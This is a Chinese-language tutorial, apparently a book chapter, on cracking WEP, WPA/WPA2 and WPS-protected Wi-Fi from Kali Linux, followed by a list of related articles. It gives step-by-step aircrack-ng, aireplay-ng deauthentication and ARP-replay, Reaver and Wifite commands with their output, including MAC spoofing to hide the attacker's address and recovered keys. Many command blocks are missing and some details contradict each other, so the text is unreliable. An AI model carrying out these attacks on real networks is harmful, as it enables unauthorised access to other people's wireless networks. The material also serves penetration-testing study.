破解WEP加密的无线网络

Wired Equivalent Privacy或WEP(有线等效加密)协议是对在两台设备间无线传输的数据进行加密的方式,用以防止非法用户窃听或侵入无线网络。不过密码分析学家已经找出WEP好几个弱点,因此在2003年被Wi-Fi Protected Access(WPA)淘汰,又在2004年由完整的IEEE 802.11i标准(又称为WPA2)所取代。本小节将介绍破解WEP加密的无线网络。

使用Aircrack破解使用WEP加密的无线网络。具体操作步骤如下所示。

(1)使用airmon-ng命令查看当前系统中的无线网络接口。执行命令如下所示:


输出的信息表示,当前系统中存在一个无线网络接口。从输出结果的Interface列,可以看到当前系统的无线接口为wlan0。

(2)修改wlan0接口的MAC地址。因为MAC地址标识主机所在的网络,修改主机的MAC地址可以隐藏真实的MAC地址。在修改MAC地址之前,需要停止该接口。执行命令如下所示:

或者:

root@kali:~# ifconfig wlan0 down

执行以上命令后,wlan0接口则停止。此时就可以修改MAC地址了,执行命令如下 所示:

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0 Permanent MAC:
00:c1:40:76:05:6c (unknown) Current MAC: 00:c1:40:76:05:6c (unknown)
New MAC: 00:11:22:33:44:55 (Cimsys Inc)

输出的信息显示了wlan0接口永久的MAC地址、当前的MAC地址及新的MAC地址。可以看到wlan1接口的MAC地址已经被修改。

(3)重新启动wlan0。执行命令如下所示:

输出的信息显示了无线网卡wlan0的芯片及驱动类型。例如,当前系统的无线网卡芯片为Ralink RT2870/3070;默认驱动为rt2800usb,并显示监听模式被启用,映射网络接口为mon0。

有时候使用airmon-ng start wlan0命令启用无线网卡时,可能会出现SIOCSIFFLAGS: Operation not possible due to RF-kill错误。这是因为Linux下有一个软件RF-kill,该软件为了省电会将不使用的无线设备(如WIFI和Buletooth)自动关闭。当用户使用这些设备时,RF-kill不会智能的自动打开,需要手动解锁。用户可以执行rfkill list命令查看所有设备,如下所示:

root@kali:~# rfkill list 0: ideapad_wlan: Wireless LAN Soft blocked:
yes Hard blocked: no 1: phy0: Wireless LAN Soft blocked: yes Hard
blocked: no

该列表中前面的编号,表示的是设备的索引号。用户可以通过指定索引号,停止或启用某个设备。如启用所有设备,执行如下所示的命令:

root@kali:~# rfkill unblock all

执行以上命令后,没有任何信息输出。以上命令表示,解除所有被关闭的设备。

(4)使用airodump命令定位附近所有可用的无线网络。执行命令如下所示:

以上输出的信息显示了附近所有可用的无线网络。当找到用户想要攻击的无线路由器时,按下Ctrl+C键停止搜索。

从输出的信息中看到有很多参数。详细介绍如下所示。

  • BSSID:无线的IP地址。

  • PWR:网卡报告的信号水平。

  • Beacons:无线发出的通告编号。

  • Data:被捕获到的数据分组的数量,包括广播分组。

  • /s:过去10秒钟内每秒捕获数据分组的数量。

  • CH:信道号(从Beacons中获取)。

  • MB:无线所支持的最大速率。如果MB=11,它是802.11b;如

  • 果MB=22,它是802.11b+;如果更高就是802.11g。后面的点(高于54之后)表明支持短前导码。

  • ENC:使用的加密算法体系。OPN表示无加密。 - WEP?表示WEP或者WPA/WPA2模式,WEP(没有问号)表示静态或动态WEP。如果出现TKIP或CCMP,那么就是WPA/WPA2。

  • CIPHER:检测到的加密算法,是CCMP、WRAAP、TKIP、WEP和WEP104中的一个。典型的来说(不一定),TKIP与WPA结合使用,CCMP与WPA2结合使用。如果密钥索引值大于0,显示为WEP40。标准情况下,索引0-3是40bit,104bit应该是0。

  • AUTH:使用的认证协议。常用的有MGT(WPA/WPA2使用独立的认证服务器,平时我们常说的802.1x、radius和eap等)、SKA(WEP的共享密钥)、PSK(WPA/WPA2的预共享密钥)或者OPN(WEP开放式)。

  • ESSID:指所谓的SSID号。如果启用隐藏的SSID的话,它可以为空。这种情况下,airodump-ng试图从proberesponses和associationrequests中获取SSID。

  • STATION:客户端的MAC地址,包括连上的和想要搜索无线来连接的客户端。如果客户端没有连接上,就在BSSID下显示“notassociated”。

  • Rate:表示传输率。

  • Lost:在过去10秒钟内丢失的数据分组,基于序列号检测。它意味着从客户端来的数据丢包,每个非管理帧中都有一个序列号字段,把刚接收到的那个帧中的序列号和前一个帧中的序列号一减就能知道丢了几个包。

  • Frames:客户端发送的数据分组数量。

  • Probe:被客户端查探的ESSID。如果客户端正试图连接一个无线,但是没有连接上,那么就显示在这里。
    (5)使用airodump-ng捕获指定BSSID的文件。执行命令如下所示。

airodump-ng命令常用的选项如下所示。

  • -c:指定选择的频道。
  • -w:指定一个文件名,用于保存捕获的数据。
  • -bssid:指定攻击的BSSID。
    下面将Bssid为14:E6:E4:AC:FB:20的无线路由器作为攻击目标。执行命令如下所示:

    从输出的信息中可以看到ESSID为Test无线路由器的#Data一直在变化,表示有客户端正与无线发生数据交换。以上命令执行成功后,会生成一个名为wirelessattack-01.ivs的文件,而不是wirelessattack.ivs。这是因为airodump-ng工具为了方便后面破解的时候调用,所有对保存文件按顺序编了号,于是就多了-01这样的序号,以此类推。在进行第二次攻击时,若使用同样文件名wirelessattack保存的话,就会生成名为wirelessattack-02.ivs文件。

(6)打开一个新的终端窗口,运行aireplay命令。aireplay命令的语法格式如下所示:

aireplay-ng -1 0 -a [BSSID] -h [our Chosen MAC address] -e [ESSID]
[Interface] aireplay-ng -dauth 1 -a [BSSID] -c [our Chosen MAC
address] [Interface]

启动aireplay,执行命令如下所示:

root@kali:~# aireplay-ng -1 0 -a 14:E6:E4:AC:FB:20 -h
00:11:22:33:44:55 -e Test mon0 The interface MAC (00:C1:40:76:05:6C)
doesn’t match the specified MAC (-h). ifconfig mon0 hw ether
00:11:22:33:44:55 17:25:17 Waiting for beacon frame (BSSID:
14:E6:E4:AC:FB:20) on channel 1 17:25:17 Sending Authentication
Request (Open System) [ACK] 17:25:17 Switching to shared key
authentication 17:25:19 Sending Authentication Request (Shared Key)
[ACK] 17:25:19 Switching to shared key authentication 17:25:21 Sending
Authentication Request (Shared Key) [ACK] 17:25:21 Switching to shared
key authentication 17:25:23 Sending Authentication Request (Shared
Key) [ACK] 17:25:23 Switching to shared key authentication 17:25:25
Sending Authentication Request (Shared Key) [ACK] 17:25:25 Switching
to shared key authentication 17:25:27 Sending Authentication Request
(Shared Key) [ACK] 17:25:27 Switching to shared key authentication
17:25:29 Sending Authentication Request (Shared Key) [ACK] 17:25:29
Switching to shared key authentication

(7)使用aireplay发送一些流量给无线路由器,以至于能够捕获到数据。语法格式如下所示:

aireplay-ng 3 -b [BSSID] -h [Our chosen MAC address] [Interface]

执行命令如下所示:

root@kali:~# aireplay-ng -3 -b 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55
mon0 The interface MAC (00:C1:40:76:05:6C) doesn’t match the specified
MAC (-h). ifconfig mon0 hw ether 00:11:22:33:44:55 17:26:54 Waiting
for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1 Saving ARP
requests in replay_arp-0515-172654.cap You should also start
airodump-ng to capture replies. Notice: got a deauth/disassoc packet.
Is the source MAC associated ? Read 1259 packets (got 1 ARP requests
and 189 ACKs), sent 198 packets…(499 pps Read 1547 packets (got 1 ARP
requests and 235 ACKs), sent 248 packets…(499 pps Read 1843 packets
(got 1 ARP requests and 285 ACKs), sent 298 packets…(499 pps Read 2150
packets (got 1 ARP requests and 333 ACKs), sent 348 packets…(499 pps
Read 2446 packets (got 1 ARP requests and 381 ACKs), sent 398
packets…(499 pps Read 2753 packets (got 1 ARP requests and 430 ACKs),
sent 449 packets…(500 pps Read 3058 packets (got 1 ARP requests and
476 ACKs), sent 499 packets…(500 pps Read 3367 packets (got 1 ARP
requests and 525 ACKs), sent 548 packets…(499 pps Read 3687 packets
(got 1 ARP requests and 576 ACKs), sent 598 packets…(499 pps Read 4001
packets (got 1 ARP requests and 626 ACKs), sent 649 packets…(500 pps
Read 4312 packets (got 1 ARP requests and 674 ACKs), sent 699
packets…(500 pps Read 4622 packets (got 1 ARP requests and 719 ACKs),
sent 749 packets…(500 pps Read 4929 packets (got 1 ARP requests and
768 ACKs), sent 798 packets…(499 pps Read 5239 packets (got 1 ARP
requests and 817 ACKs), sent 848 packets…(499 pps

输出的信息就是使用ARP Requests的方式来读取ARP请求报文的过程,此时回到airodump-ng界面查看,可以看到Test的Frames栏的数字在飞速的递增。在抓取的无线数据报文达到了一定数量后,一般都是指IVsX值达到2万以上时,就可以开始破解,若不能成功就等待数据包文继续抓取,然后多尝试几次。

(8)使用Aircrack破解密码。执行命令如下所示:

从输出的结果中可以看到KEY FOUND,表示密码已经找到,为abcde。

破解WPA/WPA2无线网络

WPA全名为Wi-Fi Protected Access,有WPA和WPA2两个标准。它是一种保护无线电脑网络安全的协议。对于启用WPA/WPA2加密的无线网络,其攻击和破解步骤及攻击是完全一样的。不同的是,在使用airodump-ng进行无线探测的界面上,会提示为WPA CCMP PSK。当使用aireplay-ng进行攻击后,同样获取到WPA握手数据包及提示;在破解时需要提供一个密码字典。下面将介绍破解WPA/WPA2无线网络的方法。

使用aircrack-ng破解WPA/WPA2无线网络的具体操作步骤如下所示。

(1)查看无线网络接口。执行命令如下所示:

(2)停止无线网络接口。执行命令如下所示:

(3)修改无线网卡MAC地址。执行命令如下所示:

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0 Permanent MAC:
00:c1:40:76:05:6c (unknown) Current MAC: 00:c1:40:76:05:6c (unknown)
New MAC: 00:11:22:33:44:55 (Cimsys Inc)

(4)启用无线网络接口。执行命令如下所示:

(5)捕获数据包。执行命令如下所示:

(6)对无线路由器Test进行Deauth攻击。执行命令如下所示:

root@kali:~# aireplay-ng --deauth 1 -a 14:E6:E4:AC:FB:20 -c
00:11:22:33: 44:55 mon0 17:50:27 Waiting for beacon frame (BSSID:
14:E6:E4:AC:FB:20) on channel 1 17:50:30 Sending 64 directed DeAuth.
STMAC: [00:11:22:33:44:55] [12|59 ACKs]

(7)破解密码。执行命令如下所示:

从输出的信息中可以看到无线路由器的密码已经成功破解。在KEY FOUND提示的右侧可以看到密码已被破解出,为daxueba,破解速度约为500.88 k/s。

攻击WPS(Wi-Fi Proteced Setup)

WPS是由Wi-Fi联盟所推出的全新Wi-Fi安全防护设定标准。该标准主要是为了解决无线网络加密认证设定的步骤过于繁杂的弊病。因为通常用户往往会因为设置步骤太麻烦,以至于不做任何加密安全设定,从而引起许多安全上的问题。所以很多人使用WPS设置无线设备,可以通过个人识别码(PIN)或按钮(PBC)取代输入一个很长的密码短语。当开启该功能后,攻击者就可以使用暴力攻击的方法来攻击WPS。本小节将介绍使用各种工具攻击WPS。

现在大部分路由器上都支持WPS功能。以前路由器有专门的WPS设置,现在的路由器使用QSS功能取代了。这里以TP-LINK型号为例,介绍设置WPS功能,如图9.15所示。如果使用WPS的PBC方式,只需要按下路由器上的QSS/RESET按钮就可以了。

图9.15 设置WPS

从该界面可以看到QSS功能已开启,可以看到当前的PIN码是04588306。这里可以重新生成新的PIN码,或者恢复初始PIN码。

【实例9-1】使用Reaver破解WPS。具体操作步骤如下所示。

(1)插入无线网卡,使用ifconfig命令查看无线网卡是否已经正确插入。执行命令如下所示:

root@Kali:~# ifconfig eth0 Link encap:Ethernet HWaddr
00:19:21:3f:c3:e5
inet addr:192.168.5.4 Bcast:192.168.5.255 Mask:255.255.255.0
inet6 addr: fe80::219:21ff:fe3f:c3e5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:10541 errors:0 dropped:0 overruns:0 frame:0
TX packets:7160 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4205470 (4.0 MiB) TX bytes:600691 (586.6 KiB) lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:296 errors:0 dropped:0 overruns:0 frame:0
TX packets:296 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:17760 (17.3 KiB) TX bytes:17760 (17.3 KiB)

从输出的信息中可以看到,只有一个以太网接口eth0。这是因为无线网卡可能没有启动,首先来启动该无线网卡。执行命令如下所示:

root@Kali:~# ifconfig wlan0 up

执行以上命令后,没有任何信息输出。此时再次执行ifconfig命令,查看无线网络是否已启动,如下所示:

root@Kali:~# ifconfig … wlan0 Link encap:Ethernet HWaddr
08:10:76:49:c3:cd
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

看到以上输出信息,则表示无线网卡已成功启动,其网络接口为wlan0。

(2)启动无线网卡为监听模式。执行命令如下所示:

输出的信息中,可以看到monitor mode enabled on mon0,表示无线网卡已启动监听模式。在以上信息中,还可以看到无线网卡的芯片级驱动类型。其中,该网卡的芯片为Ralink,默认驱动为rt2800usb。

291-02注意:执行以上命令启动监听模式,一定要确定正确识别无线网卡的芯片和驱动。否则,该无线网卡可能导致攻击失败。

(3)攻击WPS。执行命令如下所示:

root@kali:~# reaver -i mon0 -b 14:E6:E4:AC:FB:20 -vv Reaver v1.4 WiFi
Protected Setup Attack Tool Copyright © 2011, Tactical Network
Solutions, Craig Heffner <cheffner@ tacnetsol.com> [+] Waiting for
beacon from 14:E6:E4:AC:FB:20 [+] Switching mon0 to channel 1 [+]
Switching mon0 to channel 2 [+] Switching mon0 to channel 3 [+]
Switching mon0 to channel 11 [+] Switching mon0 to channel 4 [+]
Switching mon0 to channel 5 [+] Switching mon0 to channel 6 [+]
Switching mon0 to channel 7 [+] Associated with 8C:21:0A:44:09:F8
(ESSID: yztxty) [+] Trying pin 12345670 [+] Sending EAPOL START
request [+] Received identity request [+] Sending identity response
[+] Received identity request [+] Sending identity response [+]
Received M1 message [+] Sending M2 message [+] Received M3 message [+]
Sending M4 message [+] Received WSC NACK [+] Sending WSC NACK …

从以上输出信息中,可以看到正在等待连接到14:E6:E4:AC:FB:20无线路由器的信号。并且通过发送PIN信息,获取密码。

如果没有路由器没有开启WPS的话,将会出现如下所示的信息:

[!] WARNING: Failed to associate with 14:E6:E4:AC:FB:20 (ESSID: XXXX)

Fern WiFi Cracker是一个非常不错的工具,用来测试无线网络安全。后面将会介绍使用该工具,攻击Wi-Fi网络。这里首先介绍使用Fern WiFi Cracker工具来攻击WPS。

【实例9-2】使用Wifite攻击WPS。具体操作步骤如下所示。

(1)启动Wifite工具,并指定使用common.txt密码字典。在命令行终端执行如下所示的命令:

root@kali:~# wifite -dict common.txt

执行以上命令后,将显示如下所示的信息:

以上信息显示了WiFite工具的版本信息,支持平台,并且开始扫描无线网络。当扫描到想要破解的无线网络时,按下CTRL+C组合键停止扫描。

(2)停止扫描无线网络,将显示如下所示的信息:

从以上输出信息中,可以看到扫描到五个无线接入点和三个客户端。在输出信息中,共显示了7列。分别表示无线接入点编号、ESSID号、信道、加密方式、电功率、是否开启wps和客户端。如果仅有一个客户端连接到无线接入点,则CLIENT列显示是client。如果有多个客户端连接的话,则显示是clients。

(3)此时,选择要攻击的无线接入点。这里选择第五个无线接入点,输入“1”。然后按下回车键将开始攻击,显示信息如下所示:

[+] select target numbers (1-5) separated by commas, or ‘all’: 1 [+] 1
target selected. [0:00:00] initializing WPS PIN attack on yzty
(EC:17:2F:46:70:BA) [0:11:00] WPS attack, 0/0 success/ttl, [!]
unable to complete successful try in 660 seconds [+] skipping yzty
[0:08:20] starting wpa handshake capture on “yzty” [0:08:11] new
client found: 18:DC:56:F0:62:AF [0:08:09] listening for handshake…
[0:00:11] handshake captured! saved as “hs/yzty_EC-17-2F-46-70-BA.cap”
[+] 2 attacks completed: [+] 1/2 WPA attacks succeeded
yzty (EC:17:2F:46:70:BA) handshake captured
saved as hs/yzty_EC-17-2F-46-70-BA.cap [+] starting WPA cracker on 1 handshake [0:00:00] cracking yzty with aircrack-ng [+]
cracked yzty (EC:17:2F:46:70:BA)! [+] key: “huolong5” [+] quitting

从输出的信息中,可以看到破解出yzty无线设备的密码为huolong5。

无线网络渗透测试-使用Aircrack-ng工具破解无线网络相关推荐

  1. 思科网络渗透测试 Pentesting Cisco networks

    思科网络渗透测试 Pentesting Cisco networks 文章目录 思科网络渗透测试 Pentesting Cisco networks 前言 一.滥用TACACS+协议 1.1 MITM ...

  2. 带你了解无线网络渗透测试——无线网络嗅探工具Kismet

    如果要进行无线网络渗透测试,则必须先扫描所有有效的无线接入点.刚好在Kali Linux中,提供了一款嗅探无线网络工具Kismet.使用该工具可以测量周围的无线信号,并查看所有可用的无线接入点.本节将 ...

  3. kail linux配置无线网络,Kali Linux 无线渗透测试入门指南 第一章 配置无线环境

    第一章 配置无线环境 作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙 简介 如果我要在八个小时之内砍倒一棵树,我会花六个小时来磨我的斧子. -- 亚伯拉罕· ...

  4. 无线网络渗透测试(一)基础知识

    无线网络渗透测试这一板块文章,Evan将带给大家无线基础知识,如何监听WiFi,捕获并分析数据包,需要大家准备的实验环境是Linux kali,实验器材:无线网卡,实验工具:wirelessmon(点 ...

  5. 年轻人不讲武德!200个网络渗透测试工具大汇总

    最近有粉丝私信我说能不能写一期资料整理的文章 那么....它来了! 以下工具适合渗透测试人员,安全研究人员. 可以通过以下命令检查所有的工具: git clone --recursive https: ...

  6. 毕业论文开题报告 - 基于Linux的无线网络渗透测试研究

    目录 开题报告填写要求 1.毕业论文综述(题目背景.研究意义及国内外相关研究情况) 1.1 题目背景 1.2研究意义 1.3现阶段相关研究情况 2.本课题研究的主要内容和拟采用的研究方案.研究方法或措 ...

  7. 搭建渗透测试环境选自KaliLinux无线网络渗透测试教程

    第1章搭建渗透测试环境 许多提供安全服务的机构会使用一些术语,如安全审计.网络或风险评估.以及渗透测试.这些术语在含义上有一些重叠,从定义上来看,审计是对系统或应用的量化的技术评估.安全评估意为对风险 ...

  8. 无线网络渗透测试系列学习(二) - 在VMware中搭建Metasploit靶机的详细步骤以及端口的简单了解

    引言: 无线网络渗透测试系列学习目录: 无线网络渗透测试系列学习(一) - 在Windows系统下使用虚拟机安装Kali Linux操作系统 在上一篇文章中我们讲解了在Windows下如何在VMwar ...

  9. Kali Linux 无线渗透测试入门指南 第一章 配置无线环境

    第一章 配置无线环境 作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 如果我要在八个小时之内砍倒一棵树,我会花六 ...

  10. 无线安全渗透测试套件WiFi-Pumpkin新版本发布

    无线安全渗透测试套件WiFi-Pumpkin新版本发布 WiFi-Pumpkin是一款无线安全检测工具,利用该工具可以伪造接入点完成中间人攻击,同时也支持一些其它的无线渗透功能.旨在提供更安全的无线网 ...

最新文章

  1. 深入解析windows操作系统。。。。
  2. 字体大小的设置_ios 设置的字体大小与实际的字体大小不一致
  3. sdk编程改变static控件字体和颜色
  4. 云服务器开启ftp_用云服务器怎么挂机器人
  5. 框架如何调用存储过程_如何在FastReport.Net中使用存储过程
  6. [Vulhub](WooYun-2016-199433)phpmyadmin反序列化漏洞
  7. c语言中调试时go的作用,C语言调用GO
  8. 百度元老黯然离职是被开除?向海龙回应...
  9. 编译器在构造函数里都做了些什么?
  10. 1854: [Scoi2010]游戏
  11. 1小时学会jQuery,全程无废话,直接上代码
  12. java.sql.date获取当前时间_关于JDBC中如何使用sql.Date获取当前时间以及对时间的操作和转换...
  13. 2019面试宝典之.Net
  14. 第一批阳了的中年人:卷不赢,躺不平,摆不烂
  15. python 字符串输出时 使用空格隔开
  16. java/php/net/python学生社团管理系统设计
  17. ARM Linux控制CDS5516
  18. 屏幕坐标系转为笛卡尔坐标系
  19. labview—word报表使用
  20. AR眼镜走向独立,从一个配件开始

热门文章

  1. Python:python语言中与时间有关的库函数简介、安装、使用方法之详细攻略
  2. ML之UL:无监督学习Unsupervised Learning的概念、应用、经典案例之详细攻略
  3. TF:基于CNN(2+1)实现MNIST手写数字图片识别准确率提高到99%
  4. 成功解决pywintypes.com_error: (-2147221005, '无效的类字符串', None, None)
  5. 中科院分词系统(NLPIR)JAVA简易教程
  6. 输入、输出与Mad Libs游戏
  7. 第一段冲刺_个人总结_5.10
  8. Asp.net SignalR快速入门 ---- /signalr/hubs 404
  9. 生产环境提升rman备份速度----启动块跟踪
  10. Mantis使用说明